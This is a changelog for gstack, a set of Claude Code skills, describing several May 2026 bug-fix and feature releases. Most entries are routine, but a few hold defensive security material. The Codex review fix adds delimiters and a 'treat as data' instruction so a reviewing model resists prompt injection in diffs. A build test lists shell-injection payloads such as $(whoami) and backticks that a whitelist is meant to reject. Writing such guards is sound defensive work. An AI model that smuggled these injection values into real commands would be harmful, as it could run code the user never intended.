/document-release CHANGELOG sell-test rubric: 0-3 scoring per entry (1 point each for reference / explanation / how-to coverage). Entries below 2 get rewritten.

Skill routing entry: /document-generate added to SKILL.md routing rules and README.md skills table (Technical Writer category).

CLAUDE.md fork-PR workflow section: documents how to handle "check out " when the PR is from a non-collaborator fork. Push the branch to garrytan/gstack, close the fork PR, open a new PR from the base-repo branch. Keeps secret distribution scoped.

Changed

/document-release description and triggers updated to reference the coverage map and /document-generate chaining.

README.md skills table grouping: /document-release and /document-generate now appear under the Technical Writer category.

For contributors

document-generate/SKILL.md is generated from document-generate/SKILL.md.tmpl. Do not edit the .md directly. Run bun run gen:skill-docs after template edits.

gstack/llms.txt now lists /document-generate (auto-regenerated from the skill template).

[1.34.2.0] - 2026-05-13

Three filed bugs land in one PR. /codex review, /investigate learnings, and /sync-gbrain engine detection all work again.

One CLI bump broke /codex review. One forgotten allowlist silently dropped years of investigation history. One stacking pair of bugs no-op'd /sync-gbrain for every Supabase user. All three are fixed with regression tests that lock the patterns in.

/codex review died the day Codex CLI 0.130.0 shipped. The new CLI made [PROMPT] and --base <branch> mutually exclusive, and Step 2A had always passed both, so every review call exited before talking to a model. Fix: bare codex review --base for the default case, codex exec with a tempfile-backed prompt and DIFF_START/DIFF_END delimiters for the /codex review <focus> case. The exec route preserves the filesystem boundary instruction; the bare route ships without it because Codex 0.130 has no documented system-prompt config key, and the skill files those instructions guarded are public. Custom-instructions reviews now also defend against prompt injection from adversarial diff content (the delimiter pattern tells the model where data ends and instructions resume).

/investigate told the agent to log learnings with type: "investigation", but bin/gstack-learnings-log:22 rejected anything not in [pattern, pitfall, preference, architecture, tool, operational]. Every investigation run since the type was introduced wrote a stderr message and exited 1, silently to the user because nothing checked the exit code. Years of root-cause findings went nowhere. One-line fix: add investigation to ALLOWED_TYPES.

/sync-gbrain returned engine: "unknown" for every Supabase user on gbrain ≥ 0.25. Two stacking bugs. execSync("gbrain doctor --json --fast 2>/dev/null") threw on non-zero exit (gbrain doctor exits 1 whenever health_score < 100, which is essentially every fresh install due to resolver_health warnings), so the JSON output never reached the parser. And gbrain ≥ 0.25 dropped the top-level engine field from doctor output anyway. The fix recovers stdout from the thrown error object and falls back to reading ~/.gbrain/config.json (respecting GBRAIN_HOME) when doctor doesn't surface an engine. Also moves the call from execSync to execFileSync so the shell redirect isn't a Windows-portability footgun, and adds error logging to ~/.gstack/.gbrain-errors.jsonl so future parse failures are visible.

The numbers that matter

Source: bun test test/gstack-memory-helpers.test.ts test/learnings.test.ts test/codex-hardening.test.ts (75 tests, 149 expect calls, 26 seconds) plus repo-relative smoke-tests against Codex CLI 0.130.0 and synthetic gbrain configs in temp GBRAIN_HOME.

Bug Before After

/codex review on Codex CLI 0.130.0 error: the argument '[PROMPT]' cannot be used with '--base <BRANCH>', every call dies Bare review works; /codex review <focus> routes through codex exec with DIFF_START/END markers

/codex review <focus> prompt injection surface Diff content interpolated into prompt with no data/instructions boundary DIFF_START/DIFF_END delimiters plus tempfile pattern, explicit "treat as data" instruction to the model

/investigate learning persistence Exit 1 to stderr, no log written, invisible to user Exit 0, learning appended, future sessions see prior root-cause findings

/sync-gbrain engine on gbrain ≥ 0.25 + Supabase engine=unknown, all sync stages skip silently Resolves to supabase via doctor stdout recovery or ~/.gbrain/config.json fallback

Test isolation when running on a developer's real config Tests read real ~/.gbrain/config.json, pass-or-fail by reviewer's machine Tests set HOME + GBRAIN_HOME + PATH to temp dirs, deterministic

Codex template regression guard None, the broken state shipped to main Static test asserts no codex review line combines a quoted prompt with --base, across both .tmpl source AND generated SKILL.md

What this means for builders

If you have been seeing /codex review fail on argv parsing since Codex CLI hit 0.130.0, run /gstack-upgrade to pick this up. If you ran /investigate between the type's introduction and this release, your learnings were dropped (they exit-1'd to stderr only, so there is nothing to recover), but going forward every investigation's root-cause finding is logged and retrievable. If you use gbrain with a Supabase backend and /sync-gbrain has been quietly doing nothing, this release brings it back. The three reporters (Stashub on #1428, diogolealassis on #1423, Shiv @shivasymbl on #1415) each filed a clean repro, and in Shiv's case shipped a tested patch. Credit where it is due.

Itemized changes

Fixed

codex/SKILL.md.tmpl Step 2A — replaced the unconditional codex review "$boundary" --base <base> invocation with a two-path branch. Default (no custom user instructions): bare codex review --base <base>. Custom instructions: codex exec -s read-only "$(cat $_PROMPT_FILE)" where $_PROMPT_FILE contains the filesystem boundary, the user's focus, and the diff between DIFF_START / DIFF_END markers. Probed -c 'system_prompt="..."' against Codex 0.130; the key isn't documented and silently no-ops, so the bare path ships without a re-injected boundary. Skill files under .claude/ and agents/ are public, so this is token efficiency, not safety. Contributed report by Stashub on #1428.

bin/gstack-learnings-log — added 'investigation' to ALLOWED_TYPES (was: [pattern, pitfall, preference, architecture, tool, operational]). Updated the usage comment to list valid types. Contributed report by diogolealassis on #1423.

lib/gstack-memory-helpers.ts — rewrote freshDetectEngineTier. Three changes: switched execSync to execFileSync to drop the bash-specific 2>/dev/null shell redirect (portable to Windows); recover stdout from the thrown error object so non-zero exits from gbrain doctor don't lose the JSON; fall back to reading gbrain config (respecting $GBRAIN_HOME, defaulting to ~/.gbrain/config.json) when doctor output doesn't surface an engine field. Added logGbrainError helper that appends one-line JSONL to ~/.gstack/.gbrain-errors.jsonl on parse failure. Patch shape contributed by Shiv @shivasymbl on #1415; tested against gstack v1.31.0.0 + gbrain v0.31.3 + Supabase.

Added

test/gstack-memory-helpers.test.ts — detectEngineTier regression test for the schema_version:2 fallback path. Sets HOME, GSTACK_HOME, GBRAIN_HOME, and PATH to temp dirs (so the test doesn't read the developer's real ~/.gbrain/config.json or invoke a real gbrain), writes a synthetic {"engine":"postgres","database_url":"..."} to the temp GBRAIN_HOME, asserts detectEngineTier() returns engine: "supabase". The existing detectEngineTier beforeEach/afterAll blocks were also extended to isolate HOME and GBRAIN_HOME, closing a flake source where the prior tests would read whatever was on the reviewer's machine.

test/learnings.test.ts — two tests for the investigation type. One round-trips gstack-learnings-log with type: "investigation" and asserts the file gets the entry. The other reads investigate/SKILL.md.tmpl and asserts it emits "type":"investigation" verbatim, caller contract guard against the template drifting to an invalid type.

test/codex-hardening.test.ts — two tests applied to BOTH codex/SKILL.md.tmpl AND the generated codex/SKILL.md. The first parses Step 2A's section and asserts no codex review invocation line combines a quoted-prompt or variable positional argument with --base. The second asserts that Step 2A still contains either bare codex review --base OR codex exec, guards against accidentally deleting both fix paths in a future edit.

For contributors

The probe for -c 'system_prompt="..."' support in Codex 0.130 lives in the plan, not the codebase. If a future Codex release exposes a real system-prompt config key, re-injecting the filesystem boundary in bare codex review --base is a 3-line follow-up patch to codex/SKILL.md.tmpl.

The "supabase" engine tier means "remote postgres" in practice. Gbrain config uses engine: "postgres" for both real Supabase and local-postgres-for-testing, and freshDetectEngineTier maps both to "supabase" because downstream sync code treats them identically. The label compression is documented inline.

[1.34.1.0] - 2026-05-13

gstack-update-check resolves remote VERSION via a SHA-pinned URL.

A semver-order guard makes sure the script never proposes a downgrade.

The version check now runs git ls-remote https://github.com/garrytan/gstack.git refs/heads/main to get the live HEAD SHA, then fetches raw.githubusercontent.com/garrytan/gstack/<SHA>/VERSION. SHA-pinned raw URLs are immediately consistent, so a freshly-published VERSION shows up right away instead of trailing behind the branch-raw CDN by several minutes. A second guard treats REMOTE < LOCAL as up-to-date, so transient stale-CDN responses and dev installs running ahead of main can never produce a backwards UPGRADE_AVAILABLE line. The git ls-remote call is fenced with GIT_TERMINAL_PROMPT=0 plus a 5-second low-speed timeout so flaky networks and captive portals cannot hang a skill preamble.

The numbers that matter

Source: bun test browse/test/gstack-update-check.test.ts — 35 existing tests + 3 new semver-guard tests, all green in 1.65s.

Surface Before After

Remote VERSION fetch branch-raw URL (/garrytan/gstack/main/VERSION), can serve stale content for minutes after a push git ls-remote SHA, then SHA-pinned raw URL (immediately consistent), branch-raw kept as fallback

Behavior when REMOTE < LOCAL UPGRADE_AVAILABLE <local> <older> (backwards downgrade prompt) UP_TO_DATE <local> (silent, semver-order guard via sort -V)

GSTACK_REMOTE_URL override semantics Always honored Skipped when explicit; preserves file:// test fixtures and private mirrors

git ls-remote hang exposure Not used GIT_TERMINAL_PROMPT=0 + GIT_HTTP_LOW_SPEED_LIMIT=1000 + GIT_HTTP_LOW_SPEED_TIME=5 enforce a 5-second floor on hung connections

Multi-segment version comparison [ "$LOCAL" = "$REMOTE" ] only `printf "%s\n%s\n" $LOCAL $REMOTE

Test coverage for these failure modes 0 tests 3 new tests: REMOTE older than LOCAL, multi-segment forward, multi-segment reverse

The semver guard catches the failure shape directly. If GitHub's branch-raw CDN ever serves stale content again, the script stays silent instead of asking the user to "upgrade" to a version they already passed.

What this means for builders

Run /gstack-upgrade immediately after a new release and the script finds the new VERSION via the live ref instead of waiting for the CDN to refresh. Dev installs running ahead of main also stay quiet now, no more backwards prompts every preamble. No action required, the fix is automatic on upgrade.

Itemized changes

Fixed

bin/gstack-update-check — replaced the unconditional curl of raw.githubusercontent.com/.../main/VERSION with a SHA-pinned fetch path that resolves the live HEAD via git ls-remote first, then curls raw.githubusercontent.com/garrytan/gstack/<SHA>/VERSION. Branch-raw fetch kept as fallback when git ls-remote is unavailable or GSTACK_REMOTE_URL is explicitly set.

bin/gstack-update-check — added a semver-order guard. After fetching REMOTE, the script runs sort -V to confirm REMOTE > LOCAL before emitting UPGRADE_AVAILABLE. When LOCAL is at or ahead of REMOTE, it writes UP_TO_DATE and exits silently.

bin/gstack-update-check — fenced git ls-remote with GIT_TERMINAL_PROMPT=0, GIT_HTTP_LOW_SPEED_LIMIT=1000, and GIT_HTTP_LOW_SPEED_TIME=5 so a flaky network cannot hang every skill preamble.

Added

browse/test/gstack-update-check.test.ts — 3 new tests covering: REMOTE older than LOCAL stays silent and caches UP_TO_DATE, multi-segment 1.9.0.0 < 1.10.0.0 produces UPGRADE_AVAILABLE, multi-segment 1.10.0.0 > 1.9.0.0 stays silent.

[1.34.0.0] - 2026-05-12

GStack is now consumable as a submodule.

Five new exported helpers + AUTH_TOKEN env injection + import.meta.main gate let downstream Bun projects embed the browse server without forking.

GStack's browse/src/server.ts started life as a CLI entry point: import it and it would bind Bun.serve at module load, claim a random port, and write project state to your .gstack/ dir. Every embedder that wanted to consume gstack as a library had to fork or vendor the file. This release flips that. The browse server now ships an exported API surface (ServerConfig, ServerHandle, resolveConfigFromEnv, start), honors process.env.AUTH_TOKEN for embedder-driven token allocation, and gates all module-load side effects on import.meta.main so plain import from a third-party Bun program runs zero side effects. The fetch-handler factory contract is documented in the new types; the runtime factory function (buildFetchHandler) is a deliberate follow-up — Phoenix can ship today against the start()+env surface.

The same release ships three security hardening fixes from adversarial review and a real TDZ regression bug fix that surfaced only when claude is missing from PATH.

The numbers that matter

Source: bun test browse/test/ against this branch — 5 new test files + 1 extended.

Surface Before After

Import browse/src/server.ts from a third-party process Auto-starts a daemon, binds Bun.serve, writes state No side effects (gated on import.meta.main)

AUTH_TOKEN source Always crypto.randomUUID() at module load process.env.AUTH_TOKEN (sanitized, >= 16 chars after unicode-whitespace strip) → randomUUID fallback

Exported API for embedders None (start was internal, no types) ServerConfig, ServerHandle, resolveConfigFromEnv, start, sanitizeAuthToken

isCustomChromium() detection Did not exist Exported helper: GSTACK_CHROMIUM_KIND=custom-extension-baked preferred, path substring fallback

Chromium profile path Hardcoded $HOME/.gstack/chromium-profile resolveChromiumProfile(explicit?) honors arg → CHROMIUM_PROFILE env → $GSTACK_HOME/chromium-profile

Stale SingletonLock / Socket / Cookie cleanup Inline at two callsites with raw fs.unlinkSync One helper (cleanSingletonLocks) with absolute-path requirement + basename-or-env match guard

TDZ on missing claude CLI Latent ReferenceError in checkTranscript early-return path finish() hoisted above resolveClaudeCommand() + try/catch wrap

AUTH_TOKEN=$'' (BOM-only) accepted by .trim() Yes (one-character bearer secret) No (rejected by unicode-whitespace strip + 16-char minimum)

Tests covering new surfaces 0 34 new tests across 5 files (16 in extended config.test.ts, 8 isCustomChromium, 1 TDZ regression, 12 factory API + side-effect guard)

The adversarial review pass found the BOM-token bypass before merge — .trim() strips ASCII whitespace but not U+FEFF / U+200B / U+00A0. New sanitizeAuthToken() uses a unicode-aware regex and rejects anything shorter than 16 chars after stripping, so a misconfigured embedder can no longer ship a one-character bearer.

What this means for builders embedding gstack

Phoenix and any future Bun-based consumer can now import { start, resolveConfigFromEnv } from 'browse-server-upstream/browse/src/server', set AUTH_TOKEN + BROWSE_PORT env, and run gstack as a child without forking. The exported ServerConfig documents the full factory contract for the eventual buildFetchHandler runtime — when that lands in the follow-up PR, today's API surface becomes a no-op compat shim. Run /gstack-upgrade to pick it up. The browse CLI behavior (bun run dev <command>) is unchanged.

Itemized changes

Added

browse/src/config.ts: resolveGstackHome() (honors GSTACK_HOME, falls back to os.homedir()/.gstack), resolveChromiumProfile(explicit?), cleanSingletonLocks(dir) with defensive absolute-path + basename/env guard.

browse/src/browser-manager.ts: exported isCustomChromium() with GSTACK_CHROMIUM_KIND=custom-extension-baked preferred signal, substring fallback on GSTACK_CHROMIUM_PATH.

browse/src/server.ts: ServerConfig and ServerHandle types, resolveConfigFromEnv(), sanitizeAuthToken(), exported start(). AUTH_TOKEN honors env with unicode-aware sanitization.

browse/test/config.test.ts: 16 new tests (env precedence, defensive guards, ENOENT idempotency).

browse/test/browser-manager-custom-chromium.test.ts: 8 tests covering env-kind, path substring, stock chromium, playwright-bundled cases.

browse/test/security-classifier-tdz.test.ts: regression test for the missing-CLI degraded path (IRON RULE).

browse/test/server-factory.test.ts: 14 tests covering AUTH_TOKEN env semantics + type-surface compile checks + preserved exports.

browse/test/server-no-import-side-effects.test.ts: subprocess sentinel proving import doesn't auto-start.

Changed

browse/src/security-classifier.ts: finish() hoisted above resolveClaudeCommand() in checkTranscript Promise executor. resolveClaudeCommand() and spawn() calls wrapped in try/catch that degrade to a structured signal instead of rejecting the Promise.

browse/src/browser-manager.ts launchHeaded: --load-extension gated on !isCustomChromium() (prevents ServiceWorkerState::SetWorkerId DCHECK with extension-baked custom Chromium). Profile path switches to resolveChromiumProfile(). Pre-launch cleanSingletonLocks(userDataDir) added.

browse/src/server.ts: signal handlers (SIGINT, SIGTERM, Windows exit, uncaughtException, unhandledRejection) and the auto-kickoff start().catch(...) at module bottom now gated on import.meta.main. shutdown() and emergencyCleanup() swap inline SingletonLock/Socket/Cookie loops for cleanSingletonLocks(resolveChromiumProfile()).

Fixed

TDZ ReferenceError in checkTranscript when claude CLI is missing from PATH (latent — only triggered the dormant code path).

AUTH_TOKEN unicode-whitespace bypass: .trim() only stripped ASCII whitespace, so a process.env.AUTH_TOKEN=$'' (BOM) or $'' (zero-width space) became a one-character bearer secret. New sanitizeAuthToken() strips all unicode whitespace and rejects anything shorter than 16 chars.

cleanSingletonLocks path-traversal hardening: now requires absolute paths and matches against absolute-resolved CHROMIUM_PROFILE env, blocking CWD-relative footguns.

For contributors

The full buildFetchHandler runtime extraction (hybrid hoist of 13 module-level mutables into a factory closure, plus beforeRoute auth-then-hook wiring, plus stopListeners implementation) is deferred to a follow-up PR. The exported types document the eventual contract; today's release ships the minimum-viable surface so Phoenix can land v0.6.0.0 against import { start } + AUTH_TOKEN env.

See /Users/garrytan/.claude/plans/system-instruction-you-are-working-swirling-fountain.md for the full plan + 13 decisions + codex outside-voice tensions resolved.

[1.33.2.0] - 2026-05-11

./setup no longer pollutes the global install when run from a Conductor worktree.

Six-line bash guard catches the BSD ln -snf footgun that was leaking per-worktree symlinks into ~/.claude/skills/gstack/.

When you ran ./setup from a Conductor worktree of the gstack repo itself (e.g. ~/conductor/workspaces/gstack/dublin-v1), it would silently corrupt your global install. The "register this checkout as the active gstack" branch did ln -snf "$SOURCE_GSTACK_DIR" "$HOME/.claude/skills/gstack". On macOS and BSD, when the destination is an existing real directory (your global git clone), ln -snf does NOT replace it. It creates a child symlink INSIDE: ~/.claude/skills/gstack/dublin-v1 → ~/conductor/workspaces/gstack/dublin-v1. Claude Code reads every directory in ~/.claude/skills/ that contains a SKILL.md, so each leaked worktree showed up as its own top-level skill: /dublin-v1, /wellington, /santiago-v1, etc. The skill picker filled with noise.

The fix in setup checks whether ~/.claude/skills/gstack is already a real (non-symlink) directory whose resolved pwd -P differs from $SOURCE_GSTACK_DIR. If so, refuse the ln -snf, print a four-line remediation hint, and exit the Claude registration branch cleanly. Binaries (browse, design, make-pdf, find-browse) still build locally for dev. The four other code paths through the same branch (fresh install, retarget existing symlink, self-rerun pointing to the same dir, --local) are unchanged.

The numbers that matter

Source: bun test test/setup-conductor-worktree.test.ts — 8 tests covering every branch of the new guard plus a behavioral reproduction of the BSD ln -snf bug itself.

Scenario Before After

./setup from worktree A with global install present Leaks ~/.claude/skills/gstack/A → workspaces/gstack/A Skipped with remediation hint

./setup from N sibling worktrees over a week N child symlinks accumulate inside global install 0 leaks

Claude Code skill picker shows extra entries Yes: dublin-v1, wellington, santiago-v1, etc. No

Fresh install (no existing global) Worked Worked (unchanged path)

Re-running ./setup from inside the global install Worked Worked (unchanged path)

Test coverage of the guard 0 tests 8 tests, all branches

The behavioral test in test/setup-conductor-worktree.test.ts actually invokes ln -snf SRC DST against a real tmpdir to prove the macOS/BSD child-symlink behavior happens, then re-runs with the new guard to prove the leak doesn't. The bug is now documented in the test suite, not just the patch.

What this means for builders

If you've been seeing extra top-level skills (/dublin-v1, /wellington, etc.) in Claude Code, that's the leak. Run /gstack-upgrade to pick up this fix, then manually remove the existing child symlinks: cd ~/.claude/skills/gstack && find . -maxdepth 1 -type l -delete. The guard prevents new leaks from ./setup runs in any Conductor worktree of the gstack repo. If you actually want to register a worktree as the active gstack (rare, usually only when dogfooding a big in-progress change), remove the global install first: rm -rf ~/.claude/skills/gstack && cd <your-worktree> && ./setup.

Itemized changes

Fixed

setup — added Conductor worktree guard before ln -snf "$SOURCE_GSTACK_DIR" "$CLAUDE_GSTACK_LINK". Checks [ -d "$CLAUDE_GSTACK_LINK" ] && [ ! -L "$CLAUDE_GSTACK_LINK" ] for a real directory, then cd ... && pwd -P to compare against the source. If they differ, sets _SKIP_CLAUDE_REGISTER=1, prints a remediation message naming both paths, and exits the Claude registration branch without touching the global install.

Added

test/setup-conductor-worktree.test.ts — 8 tests (27 expect calls) covering: guard placement in setup before ln -snf, pwd -P resolution against $SOURCE_GSTACK_DIR, the skip-branch's remediation message, BSD ln -snf reproducer (proves the bug shape exists), guard skips when dest is real-dir-elsewhere, guard allows ln when dest doesn't exist, guard allows ln when dest is an existing symlink (upgrade-in-place), guard allows ln when dest already resolves to source (self-rerun).

For contributors

The guard intentionally does NOT clean up pre-existing pollution inside ~/.claude/skills/gstack/. Users must remove leaked symlinks manually (see "What this means for builders" above). Retroactive cleanup would require a separate migration script, filed for a future release if the manual remediation friction becomes noticeable.

[1.33.1.0] - 2026-05-11

Long skills stop drifting away from their starting context.

/investigate, /qa, and /ship now pull learnings keyed to what they're actually about, and refresh that pull mid-flow as work shifts to new sub-tasks.

For the last 30+ versions, every gstack skill loaded learnings the same way: gstack-learnings-search --limit 10 at the top, generic top-10 by confidence, no query, no refresh. Short skills were fine, they finish before the loaded learnings go stale. Long skills (/investigate walks 4 phases, /qa runs a multi-bug fix loop, /ship covers ~20 steps from test to bump to PR) drifted away from whatever was loaded at minute zero. By the time /ship reaches Step 12 (VERSION bump), the learnings it pulled at Step 1 are about whatever was the highest-confidence entry in your project, not about the headline feature you're shipping.

Two changes ship in this release: per-skill task-shaped queries at the top of the three long skills, and a mid-flow refresh checkpoint inside each one that re-pulls learnings keyed to the sub-task that's about to begin. Both rely on a fix to bin/gstack-learnings-search itself. The binary's --query flag previously used whole-string substring match against key/insight/files, so a query like "debug investigation" would only match a learning whose insight contained that exact contiguous phrase. The flag is now token-OR: split on whitespace, match if ANY token appears in any haystack field. This is what most users expect from a search flag.

The numbers that matter

Source: this project's local learnings.jsonl (35 entries as of this release). Same query, same flag, before vs after the binary fix:

Query Before (substring) After (token-OR) Δ

"debug investigation root cause" 0 entries matched 5 entries matched +5

"qa testing bug regression" 0 entries matched 2 entries matched +2

"release ship version changelog" 0 entries matched 8 entries matched +8

"skill resolver" 0 entries matched 12 entries matched +12

Recall on the static skill-shaped queries went from zero to relevant. Without this fix, the rest of the change would have been silent. The bash would run, the binary would exit 0 with no output, and the skill would render the same empty section it always rendered.

What this means for builders

If you run /investigate on a bug, the top-of-skill learnings pull now surfaces prior investigation patterns instead of unrelated top-10 confidence entries. When you finish Phase 1 (naming a root-cause hypothesis), a mid-flow refresh fires and re-pulls learnings keyed to your hypothesis keyword, so prior fixes for the same problem-shape land in the agent's context right when they're relevant. Same pattern for /qa (refresh before the fix loop, keyed to the buggy component) and /ship (refresh before the VERSION/CHANGELOG step, keyed to the headline feature). The other 13 short-lived skills are unchanged: their existing top-10 generic pull is still right for their attention span.

Itemized changes

Changed

bin/gstack-learnings-search now uses token-OR --query semantics. Multi-word queries split on whitespace and match if ANY token appears as a substring in ANY of key/insight/files. Single-word queries behave exactly as before. No flag changes; same CLI surface. The old whole-string substring behavior was a silent footgun that returned nothing on real-world learnings stores. New test file test/gstack-learnings-search.test.ts covers the three branches (multi-token, single-token, no-query backwards compat).

scripts/resolvers/learnings.ts {{LEARNINGS_SEARCH}} macro now accepts a query=KEYWORD argument. Empty value falls through to no-query (principle of least surprise: a stray {{LEARNINGS_SEARCH:query=}} placeholder gets today's behavior, not a build failure). Pattern reuses the parameterized-macro infrastructure from composition.ts. The 13 templates that don't pass a query stay byte-identical in their generated SKILL.md output. Shell-injection guard: the query value is whitelisted to ^[A-Za-z0-9 _-]+$ at gen-skill-docs time, so any $(), backticks, semicolons, or quotes in a future template throw a loud build error instead of emitting executable bash.

investigate/SKILL.md.tmpl top-of-skill learnings pull keyed to debug investigation root cause hypothesis bug fix. New mid-flow refresh block between Phase 1 (hypothesis) and Phase 2 (analysis) instructs the agent to pick one alphanumeric-only keyword from the hypothesis and re-pull. Worked examples included (good: auth-cookie, session-expiry; bad: auth.ts:47, <hypothesis-keyword>).

qa/SKILL.md.tmpl top-of-skill pull keyed to qa testing bug regression flake fixture. Mid-flow refresh inserted between Phase 7 (triage) and Phase 8 (fix loop), keyed to the buggy component name.

ship/SKILL.md.tmpl top-of-skill pull keyed to release ship version changelog merge pr. Mid-flow refresh inserted just before Step 12 (VERSION bump), keyed to the headline feature on this branch.

test/gen-skill-docs.test.ts 5 new resolver assertions: no-args has no --query, claude+query=foo bar appears in BOTH cross-project and project-scoped branches, codex host gets --query in the codex bash variant, empty value query= falls through to no-query, AND shell-injection payloads ($(whoami), backticks, ;, &, ", \, $x) throw a build error.

All generated SKILL.md files for the 3 long skills + 4 host outputs regenerated. The other 13 skills' generated output is byte-identical (backwards-compat verified via diff).

For contributors

Contributed by @Fergtic (chronicle-write-up) who flagged the load-once + no-refresh pattern and the spend-per-success data point that motivated this work. The static-skill query expansion was also informed by a key fact-check from Codex outside-voice review: the binary's --query was single-substring match, not token-OR, which silently invalidated any multi-word query in the wild.

[1.33.0.0] - 2026-05-11

/sync-gbrain memory stage no longer infinite-loops or silently throws away progress.

Per-file gitleaks scanning is opt-in, signal handling actually kills the gbrain child, and state writes are atomic.

/sync-gbrain memory ingest used to spawn gitleaks detect plus gbrain put once per file across 1,841+ transcripts and artifacts, then the orchestrator SIGTERM'd the whole pipeline at 35 minutes with no state flush. Every cold run started from zero and burned 35 minutes for nothing. v1.33 rewrites the memory stage around gbrain import <dir> (batch path that's been in gbrain since v0.20). The prepare phase walks sources, parses transcripts and artifacts, writes prepared markdown into a hierarchical staging directory mirroring slug structure, then invokes gbrain import once. Per-file failures get read back from ~/.gbrain/sync-failures.jsonl via a byte-offset snapshot so the state file only records files that actually landed in PGLite. --scan-secrets is now an opt-in flag because gstack-brain-sync already runs a regex-based secret scanner at the actual cross-machine boundary (git push), making per-file ingest scans redundant defense-in-depth that cost ~470 seconds on every cold run.

The signal handler now propagates SIGTERM and SIGINT to the gbrain child and synchronously cleans up the staging directory before process.exit, fixing the orphan-process bug that left gbrain holding the PGLite write lock and burning CPU for hours after the orchestrator gave up. State file writes use tmp+rename for atomicity so a crash mid-write can't truncate the ingest state. The full-file sha256 change detection (was capped at 1MB) catches tail edits to long partial transcripts that the old algorithm silently missed.

The numbers that matter

Source: live run on ~/.gstack/projects/ corpus (5,135 transcripts + artifacts), bin/gstack-memory-ingest.ts --bulk on a fresh PGLite at gbrain v0.31.2.

Metric Before (v1.31.x) After (v1.33) Δ

Cold run completes no, 35-min loop + null exit yes works

Prepare phase time (5,135 files) ~10-12 min <10 sec ~60x

Per-file gitleaks scans 1,841 mandatory 0 by default, opt-in via --scan-secrets gated

State file flushed on SIGTERM no, loss-on-kill yes, sync cleanup before exit fixed

Orphan gbrain child after timeout yes, observed 15hr CPU drain no, signal forwarded fixed

FILE_TOO_LARGE blocks all advancement yes no, failed paths excluded via D7 fixed

Tests in test/gstack-memory-ingest.test.ts 17 21 +4

Decision What landed

D1 hierarchical staging writeStaged does mkdir -p per slug segment

D2 cut over gbrainPutPage deleted, no --legacy-ingest flag

D3 source-first secret scan Scan opt-in via --scan-secrets, default off

D4 OK/ERR verdict Per-file failures show in summary but only system errors mark ERR

D5 unified state schema No separate skip-list file

D6 trust idempotency gbrain's content_hash dedup makes reruns cheap

D7 sync-failures byte-offset readNewFailures reads only appended bytes since pre-import snapshot

F6 atomic state writes tmp+rename instead of direct overwrite

F9 full-file sha256 Removes 1MB cap that silently swallowed tail edits

Prepare phase dropped from ~10 minutes to <10 seconds because the dominant cost was gitleaks detect cold start (~256ms per file, 5,135 files = 22 minutes of subprocess startup). The cross-machine secret boundary is git push, and gstack-brain-sync already runs its own regex scanner there. Local PGLite ingest of files that already live on disk in plaintext doesn't change exposure. The opt-in flag survives for users who want per-file ingest scanning, but it's no longer the default tax on every cold run.

What this means for builders

If you've been hitting the 35-minute hang on /sync-gbrain, it's gone. The architecture is correct on this side now. A separate gbrain import performance issue surfaced during testing where the gbrain CLI itself takes >10 minutes on 5,131-file staging dirs (10 seconds on 501 files), which is filed as a P2 TODO for gbrain proper. That's the next bottleneck to chase, but it lives in gbrain's import path, not in the gstack orchestrator. Run /sync-gbrain after upgrading. If you've been seeing the loop, this fixes it.

Itemized changes

Added

bin/gstack-memory-ingest.ts:1093 — preparePages pure function: walk sources, mtime-skip via state, optional gitleaks scan (--scan-secrets), parse transcripts and artifacts, render frontmatter with title/type/tags injected.

bin/gstack-memory-ingest.ts:920 — writeStaged writes prepared markdown into a hierarchical staging directory mirroring slug structure. mkdir -p per slug segment. Slugs containing / (like transcripts/claude-code/foo) get the matching subdirectory tree so gbrain's path-authoritative slugifyPath round-trips exactly.

bin/gstack-memory-ingest.ts:961 — parseImportJson reads gbrain's --json last-line payload. Returns null (treated as system_error by caller) instead of zero-padded silently when the line doesn't parse.

bin/gstack-memory-ingest.ts:993 — readNewFailures snapshots ~/.gbrain/sync-failures.jsonl byte offset before import, reads only appended bytes after, maps gbrain's staging-relative paths back to source paths via the stagedPathToSource map.

bin/gstack-memory-ingest.ts:1009 — runGbrainImport async wrapper around child_process.spawn so the signal forwarder has a child reference to kill on parent SIGTERM/SIGINT. Pre-2026-05-11 spawnSync made signal forwarding impossible and gbrain orphaned every time the orchestrator timed out.

bin/gstack-memory-ingest.ts:1218 — installSignalForwarder registers SIGTERM/SIGINT handlers that forward to the live child, synchronously clean up the active staging directory, then exit. Async finally blocks don't run after process.exit from inside a signal handler, so cleanup has to happen in the handler itself.

bin/gstack-memory-ingest.ts:194 — --scan-secrets CLI flag and GSTACK_MEMORY_INGEST_SCAN_SECRETS=1 env var to opt back into per-file gitleaks scanning during the prepare phase. Off by default.

test/gstack-memory-ingest.test.ts:457 — 5 new tests covering hierarchical staging slug round-trip, frontmatter injection, D7 sync-failures exclusion, missing-import-subcommand error path, and --scan-secrets dirty-source skipping with a fake gitleaks shim.

docs/designs/SYNC_GBRAIN_BATCH_INGEST.md — full design doc with D1-D8 decisions, source-verified gbrain behaviors, performance measurements, F9 hash migration notes.

Changed

bin/gstack-memory-ingest.ts:288 — saveState now uses tmp+rename for atomicity (F6) so a crash mid-write can't truncate the state file. Matches the orchestrator's existing pattern at gstack-gbrain-sync.ts:508.

bin/gstack-memory-ingest.ts:307 — fileSha256 hashes the full file (F9). Pre-2026-05-11 it stopped at 1MB, so tail edits to long partial transcripts looked unchanged and never re-imported. One-time cliff on upgrade: files whose mtime hasn't moved keep their old 1MB-capped hash, files whose mtime moves get recomputed correctly. No data loss.

bin/gstack-memory-ingest.ts:798 — gbrainAvailable probes for the import subcommand in --help output (was: put subcommand). Without import, the memory stage exits non-zero with a system_error instead of silently degrading.

bin/gstack-gbrain-sync.ts:442 — memory-stage parser preferentially picks [memory-ingest] ERR lines over the latest [memory-ingest] line for the summary, strips the prefix, and surfaces (killed by signal / timeout) when the child exits with status=null.

Fixed

Per-file gitleaks scan was running on every transcript and artifact during memory ingest as redundant defense-in-depth. The cross-machine secret boundary is gstack-brain-sync (git push), which already runs a Python regex scanner. Local PGLite ingest doesn't change exposure surface for content that already lives on disk in plaintext.

Signal handlers now kill the gbrain child and clean up the staging directory before exit. Pre-fix, every orchestrator timeout left a gbrain process holding the PGLite write lock and burning CPU until the user noticed and kill -9'd it manually (observed: a 15-hour-CPU-time orphan from yesterday's run was still alive today).

parseImportJson no longer silently returns {imported: 0, errors: 0} when gbrain's --json output doesn't parse. Returns null, caller surfaces as system_error so the orchestrator's verdict block shows ERR instead of misleading OK/0/0.

bin/gstack-memory-ingest.ts require("fs") calls replaced with top-level ESM imports for runtime portability.

For contributors

